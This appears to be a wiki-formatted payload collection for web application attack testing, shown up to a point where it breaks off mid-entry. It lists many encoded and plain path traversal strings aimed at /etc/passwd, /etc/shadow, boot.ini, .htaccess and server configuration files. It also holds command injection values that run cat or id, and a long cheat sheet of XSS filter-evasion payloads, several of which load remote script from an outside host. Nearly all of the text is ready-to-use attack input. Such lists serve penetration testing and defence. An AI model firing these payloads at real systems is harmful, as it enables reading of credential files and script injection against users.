%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%36%35%%37%34%%36%33%%32%66%%37%30%%36%31%%37%33%%37%33%%37%37%%36%34<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%36%35%%37%34%%36%33%%32%66%%37%30%%36%31%%37%33%%37%33%%37%37%%36%34<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%36%35%%37%34%%36%33%%32%66%%37%30%%36%31%%37%33%%37%33%%37%37%%36%34<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%36%35%%37%34%%36%33%%32%66%%37%30%%36%31%%37%33%%37%33%%37%37%%36%34<br /> ../../../.htaccess<br /> ../../.htaccess<br /> ../.htaccess<br /> .htaccess<br /> ././.htaccess<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%68%74%61%63%63%65%73%73<br /> %2e%2e%2f%2e%2e%2f%2e%68%74%61%63%63%65%73%73<br /> %2e%2e%2f%2e%68%74%61%63%63%65%73%73<br /> %2e%68%74%61%63%63%65%73%73<br /> %2e%2f%2e%2f%2e%68%74%61%63%63%65%73%73<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33<br /> %%32%65%%32%65%%32%66%%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33<br /> %%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33<br /> %%32%65%%32%66%%32%65%%32%66%%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33<br /> ../../../../../../../../../../../../etc/hosts%00<br /> ../../../../../../../../../../../../etc/hosts<br /> ../../boot.ini<br /> /../../../../../../../../%2A<br /> ../../../../../../../../../../../../etc/passwd%00<br /> ../../../../../../../../../../../../etc/passwd<br /> ../../../../../../../../../../../../etc/shadow%00<br /> ../../../../../../../../../../../../etc/shadow<br /> /../../../../../../../../../../etc/passwd^^<br /> /../../../../../../../../../../etc/shadow^^<br /> /../../../../../../../../../../etc/passwd<br /> /../../../../../../../../../../etc/shadow<br /> /./././././././././././etc/passwd<br /> /./././././././././././etc/shadow<br /> \..\..\..\..\..\..\..\..\..\..\etc\passwd<br /> \..\..\..\..\..\..\..\..\..\..\etc\shadow<br /> ..\..\..\..\..\..\..\..\..\..\etc\passwd<br /> ..\..\..\..\..\..\..\..\..\..\etc\shadow<br /> /..\../..\../..\../..\../..\../..\../etc/passwd<br /> /..\../..\../..\../..\../..\../..\../etc/shadow<br /> .\\./.\\./.\\./.\\./.\\./.\\./etc/passwd<br /> .\\./.\\./.\\./.\\./.\\./.\\./etc/shadow<br /> \..\..\..\..\..\..\..\..\..\..\etc\passwd%00<br /> \..\..\..\..\..\..\..\..\..\..\etc\shadow%00<br /> ..\..\..\..\..\..\..\..\..\..\etc\passwd%00<br /> ..\..\..\..\..\..\..\..\..\..\etc\shadow%00<br /> %0a/bin/cat%20/etc/passwd<br /> %0a/bin/cat%20/etc/shadow<br /> %00/etc/passwd%00<br /> %00/etc/shadow%00<br /> %00../../../../../../etc/passwd<br /> %00../../../../../../etc/shadow<br /> /../../../../../../../../../../../etc/passwd%00.jpg<br /> /../../../../../../../../../../../etc/passwd%00.html<br /> /..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../etc/passwd<br /> /..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../etc/shadow<br /> /%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd<br /> /%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/shadow<br /> %25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%00<br /> /%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%00<br /> %25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%<br /> /%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..winnt/desktop.ini<br /> \\&amp;amp;apos;/bin/cat%20/etc/passwd\\&amp;amp;apos;<br /> \\&amp;amp;apos;/bin/cat%20/etc/shadow\\&amp;amp;apos;<br /> ../../../../../../../../conf/server.xml<br /> /../../../../../../../../bin/id|<br /> C:/inetpub/wwwroot/global.asa<br /> C:\inetpub\wwwroot\global.asa<br /> C:/boot.ini<br /> C:\boot.ini<br /> ../../../../../../../../../../../../localstart.asp%00<br /> ../../../../../../../../../../../../localstart.asp<br /> ../../../../../../../../../../../../boot.ini%00<br /> ../../../../../../../../../../../../boot.ini<br /> /./././././././././././boot.ini<br /> /../../../../../../../../../../../boot.ini%00<br /> /../../../../../../../../../../../boot.ini<br /> /..\../..\../..\../..\../..\../..\../boot.ini<br /> /.\\./.\\./.\\./.\\./.\\./.\\./boot.ini<br /> \..\..\..\..\..\..\..\..\..\..\boot.ini<br /> ..\..\..\..\..\..\..\..\..\..\boot.ini%00<br /> ..\..\..\..\..\..\..\..\..\..\boot.ini<br /> /../../../../../../../../../../../boot.ini%00.html<br /> /../../../../../../../../../../../boot.ini%00.jpg<br /> /.../.../.../.../.../<br /> ..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../boot.ini<br /> /%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/boot.ini<br /> &lt;/pre&gt; <br /> ''Sorry for breaking the layout - but &quot;breaking the layout&quot; could become &quot;breaking the software&quot;.'' <br /> <br /> === XSS Statements - Most effective/most common statements ===<br /> <br /> Testing Statements <br /> &lt;pre&gt;';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//&quot;;alert(String.fromCharCode(88,83,83))//\&quot;;alert(String.fromCharCode(88,83,83))//--&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;&amp;gt;'&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt; <br /> '';!--&quot;&amp;lt;XSS&amp;gt;=&amp;amp;{()}<br /> &lt;/pre&gt; <br /> Common exploit code (covers a lot of XSS vulnerabilities) <br /> &lt;pre&gt;'&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt;&amp;lt;img src=&quot;&quot; alt='<br /> &quot;&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt;&amp;lt;img src=&quot;&quot; alt=&quot;<br /> \'&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt;&amp;lt;img src=&quot;&quot; alt=\'<br /> '); alert('xss'); var x='<br /> \\'); alert(\'xss\');var x=\'<br /> //--&amp;gt;&amp;lt;/SCRIPT&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83));<br /> &lt;/pre&gt; <br /> === XSS Statements (Full List) - (Update: 11 August 2009 - Total Statements: 162) <br /> &lt;pre&gt;Statements<br /> &amp;lt;SCRIPT SRC=http://ha.ckers.org/xss.js&amp;gt;&amp;lt;/SCRIPT&amp;gt;<br /> &quot;&amp;lt;IMG SRC=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;IMG SRC=JaVaScRiPt:alert('XSS')&amp;gt;<br /> &quot;&amp;lt;IMG SRC=javascript:alert(&quot;&quot;XSS&quot;&quot;)&amp;gt;&quot;<br /> &quot;&amp;lt;IMG SRC=`javascript:alert(&quot;&quot;RSnake says, 'XSS'&quot;&quot;)`&amp;gt;&quot;<br /> &quot;&amp;lt;IMG &quot;&quot;&quot;&quot;&quot;&quot;&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(&quot;&quot;XSS&quot;&quot;)&amp;lt;/SCRIPT&amp;gt;&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;IMG SRC=javascript:alert(String.fromCharCode(88,83,83))&amp;gt;<br /> &amp;lt;IMG SRC=&amp;amp;#0000106&amp;amp;#0000097&amp;amp;#0000118&amp;amp;#0000097&amp;amp;#0000115&amp;amp;#0000099&amp;amp;#0000114&amp;amp;#0000105&amp;amp;#0000112&amp;amp;#0000116&amp;amp;#0000058&amp;amp;#0000097&amp;amp;#0000108&amp;amp;#0000101&amp;amp;#0000114&amp;amp;#0000116&amp;amp;#0000040&amp;amp;#0000039&amp;amp;#0000088&amp;amp;#0000083&amp;amp;#0000083&amp;amp;#0000039&amp;amp;#0000041&amp;gt;<br /> &amp;lt;IMG SRC=&amp;amp;#x6A&amp;amp;#x61&amp;amp;#x76&amp;amp;#x61&amp;amp;#x73&amp;amp;#x63&amp;amp;#x72&amp;amp;#x69&amp;amp;#x70&amp;amp;#x74&amp;amp;#x3A&amp;amp;#x61&amp;amp;#x6C&amp;amp;#x65&amp;amp;#x72&amp;amp;#x74&amp;amp;#x28&amp;amp;#x27&amp;amp;#x58&amp;amp;#x53&amp;amp;#x53&amp;amp;#x27&amp;amp;#x29&amp;gt;<br /> &quot;&amp;lt;IMG SRC=&quot;&quot;jav&quot;<br /> &quot;ascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;perl -e 'print &quot;&quot;&amp;lt;IMG SRC=java\0script:alert(\&quot;&quot;XSS\&quot;&quot;)&amp;gt;&quot;&quot;;' &amp;gt; out&quot;<br /> &quot;perl -e 'print &quot;&quot;&amp;lt;SCR\0IPT&amp;gt;alert(\&quot;&quot;XSS\&quot;&quot;)&amp;lt;/SCR\0IPT&amp;gt;&quot;&quot;;' &amp;gt; out&quot;<br /> &quot;&amp;lt;IMG SRC=&quot;&quot; &amp;amp;#14; javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT/XSS SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;BODY onload!#$%&amp;amp;()*~+-_.,:;?@[/|\]^`=alert(&quot;&quot;XSS&quot;&quot;)&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT/SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;&amp;lt;SCRIPT&amp;gt;alert(&quot;&quot;XSS&quot;&quot;);//&amp;lt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &amp;lt;SCRIPT SRC=http://ha.ckers.org/xss.js?&amp;lt;B&amp;gt;<br /> &amp;lt;SCRIPT SRC=//ha.ckers.org/.j&amp;gt;<br /> &quot;&amp;lt;IMG SRC=&quot;&quot;javascript:alert('XSS')&quot;&quot;&quot;<br /> &amp;lt;iframe src=http://ha.ckers.org/scriptlet.html &amp;lt;<br /> &amp;lt;SCRIPT&amp;gt;a=/XSS/\nalert(a.source)&amp;lt;/SCRIPT&amp;gt;<br /> &quot;\&quot;&quot;;alert('XSS');//&quot;<br /> &quot;&amp;lt;/TITLE&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(&quot;&quot;XSS&quot;&quot;);&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;INPUT TYPE=&quot;&quot;IMAGE&quot;&quot; SRC=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;BODY BACKGROUND=&quot;&quot;javascript:alert('XSS')&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;BODY ONLOAD=alert('XSS')&amp;gt;<br /> &quot;&amp;lt;IMG DYNSRC=&quot;&quot;javascript:alert('XSS')&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG LOWSRC=&quot;&quot;javascript:alert('XSS')&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;BGSOUND SRC=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;BR SIZE=&quot;&quot;&amp;amp;{alert('XSS')}&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;LAYER SRC=&quot;&quot;http://ha.ckers.org/scriptlet.html&quot;&quot;&amp;gt;&amp;lt;/LAYER&amp;gt;&quot;<br /> &quot;&amp;lt;LINK REL=&quot;&quot;stylesheet&quot;&quot; HREF=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;LINK REL=&quot;&quot;stylesheet&quot;&quot; HREF=&quot;&quot;http://ha.ckers.org/xss.css&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;STYLE&amp;gt;@import'http://ha.ckers.org/xss.css';&amp;lt;/STYLE&amp;gt;<br /> &quot;&amp;lt;META HTTP-EQUIV=&quot;&quot;Link&quot;&quot; Content=&quot;&quot;&amp;lt;http://ha.ckers.org/xss.css&amp;gt;; REL=stylesheet&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE&amp;gt;BODY{-moz-binding:url(&quot;&quot;http://ha.ckers.org/xssmoz.xml#xss&quot;&quot;)}&amp;lt;/STYLE&amp;gt;&quot;<br /> &quot;&amp;lt;XSS STYLE=&quot;&quot;behavior: url(xss.htc);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE&amp;gt;li {list-style-image: url(&quot;&quot;javascript:alert('XSS')&quot;&quot;);}&amp;lt;/STYLE&amp;gt;&amp;lt;UL&amp;gt;&amp;lt;LI&amp;gt;XSS&quot;<br /> &quot;&amp;lt;IMG SRC='vbscript:msgbox(&quot;&quot;XSS&quot;&quot;)'&amp;gt;&quot;<br /> ¼script¾alert(¢XSS¢)¼/script¾<br /> &quot;&amp;lt;META HTTP-EQUIV=&quot;&quot;refresh&quot;&quot; CONTENT=&quot;&quot;0;url=javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;META HTTP-EQUIV=&quot;&quot;refresh&quot;&quot; CONTENT=&quot;&quot;0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;META HTTP-EQUIV=&quot;&quot;refresh&quot;&quot; CONTENT=&quot;&quot;0; URL=http://;URL=javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IFRAME SRC=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&amp;lt;/IFRAME&amp;gt;&quot;<br /> &quot;&amp;lt;FRAMESET&amp;gt;&amp;lt;FRAME SRC=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&amp;lt;/FRAMESET&amp;gt;&quot;<br /> &quot;&amp;lt;TABLE BACKGROUND=&quot;&quot;javascript:alert('XSS')&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;TABLE&amp;gt;&amp;lt;TD BACKGROUND=&quot;&quot;javascript:alert('XSS')&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;DIV STYLE=&quot;&quot;background-image: url(javascript:alert('XSS'))&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;DIV STYLE=&quot;&quot;background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;DIV STYLE=&quot;&quot;background-image: url(&amp;amp;#1;javascript:alert('XSS'))&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;DIV STYLE=&quot;&quot;width: expression(alert('XSS'));&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE&amp;gt;@im\port'\ja\vasc\ript:alert(&quot;&quot;XSS&quot;&quot;)';&amp;lt;/STYLE&amp;gt;&quot;<br /> &quot;&amp;lt;IMG STYLE=&quot;&quot;xss:expr/*XSS*/ession(alert('XSS'))&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;XSS STYLE=&quot;&quot;xss:expression(alert('XSS'))&quot;&quot;&amp;gt;&quot;<br /> &quot;exp/*&amp;lt;A STYLE='no\xss:noxss(&quot;&quot;*//*&quot;&quot;);xss:ex/*XSS*//*/*/pression(alert(&quot;&quot;XSS&quot;&quot;))'&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE TYPE=&quot;&quot;text/javascript&quot;&quot;&amp;gt;alert('XSS');&amp;lt;/STYLE&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE&amp;gt;.XSS{background-image:url(&quot;&quot;javascript:alert('XSS')&quot;&quot;);}&amp;lt;/STYLE&amp;gt;&amp;lt;A CLASS=XSS&amp;gt;&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE type=&quot;&quot;text/css&quot;&quot;&amp;gt;BODY{background:url(&quot;&quot;javascript:alert('XSS')&quot;&quot;)}&amp;lt;/STYLE&amp;gt;&quot;<br /> &amp;lt;!--[if gte IE 4]&amp;gt;&amp;lt;SCRIPT&amp;gt;alert('XSS');&amp;lt;/SCRIPT&amp;gt;&amp;lt;![endif]--&amp;gt;<br /> &quot;&amp;lt;BASE HREF=&quot;&quot;javascript:alert('XSS');//&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;OBJECT TYPE=&quot;&quot;text/x-scriptlet&quot;&quot; DATA=&quot;&quot;http://ha.ckers.org/scriptlet.html&quot;&quot;&amp;gt;&amp;lt;/OBJECT&amp;gt;&quot;<br /> &amp;lt;OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389&amp;gt;&amp;lt;param name=url value=javascript:alert('XSS')&amp;gt;&amp;lt;/OBJECT&amp;gt;<br /> &quot;&amp;lt;EMBED SRC=&quot;&quot;http://ha.ckers.org/xss.swf&quot;&quot; AllowScriptAccess=&quot;&quot;always&quot;&quot;&amp;gt;&amp;lt;/EMBED&amp;gt;&quot;<br /> &quot;&amp;lt;EMBED SRC=&quot;&quot;data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==&quot;&quot; type=&quot;&quot;image/svg+xml&quot;&quot; AllowScriptAccess=&quot;&quot;always&quot;&quot;&amp;gt;&amp;lt;/EMBED&amp;gt;&quot;<br /> &quot;&amp;lt;HTML xmlns:xss&amp;gt;&amp;lt;?import namespace=&quot;&quot;xss&quot;&quot; implementation=&quot;&quot;http://ha.ckers.org/xss.htc&quot;&quot;&amp;gt;&amp;lt;xss:xss&amp;gt;XSS&amp;lt;/xss:xss&amp;gt;&amp;lt;/HTML&amp;gt;&quot;<br /> &quot;&amp;lt;XML ID=I&amp;gt;&amp;lt;X&amp;gt;&amp;lt;C&amp;gt;&amp;lt;![CDATA[&amp;lt;IMG SRC=&quot;&quot;javas]]&amp;gt;&amp;lt;![CDATA[cript:alert('XSS');&quot;&quot;&amp;gt;]]&amp;gt;&amp;lt;/C&amp;gt;&amp;lt;/X&amp;gt;&amp;lt;/xml&amp;gt;&amp;lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;XML ID=&quot;&quot;xss&quot;&quot;&amp;gt;&amp;lt;I&amp;gt;&amp;lt;B&amp;gt;&amp;lt;IMG SRC=&quot;&quot;javas&amp;lt;!-- --&amp;gt;cript:alert('XSS')&quot;&quot;&amp;gt;&amp;lt;/B&amp;gt;&amp;lt;/I&amp;gt;&amp;lt;/XML&amp;gt;&amp;lt;SPAN DATASRC=&quot;&quot;#xss&quot;&quot; DATAFLD=&quot;&quot;B&quot;&quot; DATAFORMATAS=&quot;&quot;HTML&quot;&quot;&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;XML SRC=&quot;&quot;xsstest.xml&quot;&quot; ID=I&amp;gt;&amp;lt;/XML&amp;gt;&amp;lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;HTML&amp;gt;&amp;lt;BODY&amp;gt;&amp;lt;?xml:namespace prefix=&quot;&quot;t&quot;&quot; ns=&quot;&quot;urn:schemas-microsoft-com:time&quot;&quot;&amp;gt;&amp;lt;?import namespace=&quot;&quot;t&quot;&quot; implementation=&quot;&quot;#default#time2&quot;&quot;&amp;gt;&amp;lt;t:set attributeName=&quot;&quot;innerHTML&quot;&quot; to=&quot;&quot;XSS&amp;lt;SCRIPT DEFER&amp;gt;alert(&quot;&quot;XSS&quot;&quot;)&amp;lt;/SCRIPT&amp;gt;&quot;&quot;&amp;gt;&amp;lt;/BODY&amp;gt;&amp;lt;/HTML&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT SRC=&quot;&quot;http://ha.ckers.org/xss.jpg&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;!--#exec cmd=&quot;&quot;/bin/echo '&amp;lt;SCR'&quot;&quot;--&amp;gt;&amp;lt;!--#exec cmd=&quot;&quot;/bin/echo 'IPT SRC=http://ha.ckers.org/xss.js&amp;gt;&amp;lt;/SCRIPT&amp;gt;'&quot;&quot;--&amp;gt;&quot;<br /> &quot;&amp;lt;? echo('&amp;lt;SCR)';echo('IPT&amp;gt;alert(&quot;&quot;XSS&quot;&quot;)&amp;lt;/SCRIPT&amp;gt;');&amp;nbsp;?&amp;gt;&quot;<br /> &quot;&amp;lt;META HTTP-EQUIV=&quot;&quot;Set-Cookie&quot;&quot; Content=&quot;&quot;USERID=&amp;lt;SCRIPT&amp;gt;alert('XSS')&amp;lt;/SCRIPT&amp;gt;&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;HEAD&amp;gt;&amp;lt;META HTTP-EQUIV=&quot;&quot;CONTENT-TYPE&quot;&quot; CONTENT=&quot;&quot;text/html; charset=UTF-7&quot;&quot;&amp;gt; &amp;lt;/HEAD&amp;gt;+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-&quot;<br /> &quot;&amp;lt;SCRIPT a=&quot;&quot;&amp;gt;&quot;&quot; SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT =&quot;&quot;&amp;gt;&quot;&quot; SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT a=&quot;&quot;&amp;gt;&quot;&quot; '' SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT &quot;&quot;a='&amp;gt;'&quot;&quot; SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT a=`&amp;gt;` SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT a=&quot;&quot;&amp;gt;'&amp;gt;&quot;&quot; SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT&amp;gt;document.write(&quot;&quot;&amp;lt;SCRI&quot;&quot;);&amp;lt;/SCRIPT&amp;gt;PT SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://66.102.7.147/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://1113982867/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://0x42.0x0000066.0x7.0x93/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://0102.0146.0007.00000223/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;h\ntt\tp://6&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;//www.google.com/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;//google&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://google.com/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://www.google.com./&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;javascript:document.location='http://www.google.com/'&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://www.gohttp://www.google.com/ogle.com/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;div onmouseover=&quot;&quot;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;img src=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;input type=&quot;&quot;image&quot;&quot; dynsrc=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;bgsound src=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;amp;{document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);};&quot;<br /> &quot;&amp;lt;img src=&amp;amp;{document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);};&amp;gt;&quot;<br /> &quot;&amp;lt;link rel=&quot;&quot;stylesheet&quot;&quot; href=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;iframe src=&quot;&quot;vbscript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;img src=&quot;&quot;livescript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;a href=&quot;&quot;about:&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/script&amp;gt;&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;meta http-equiv=&quot;&quot;refresh&quot;&quot; 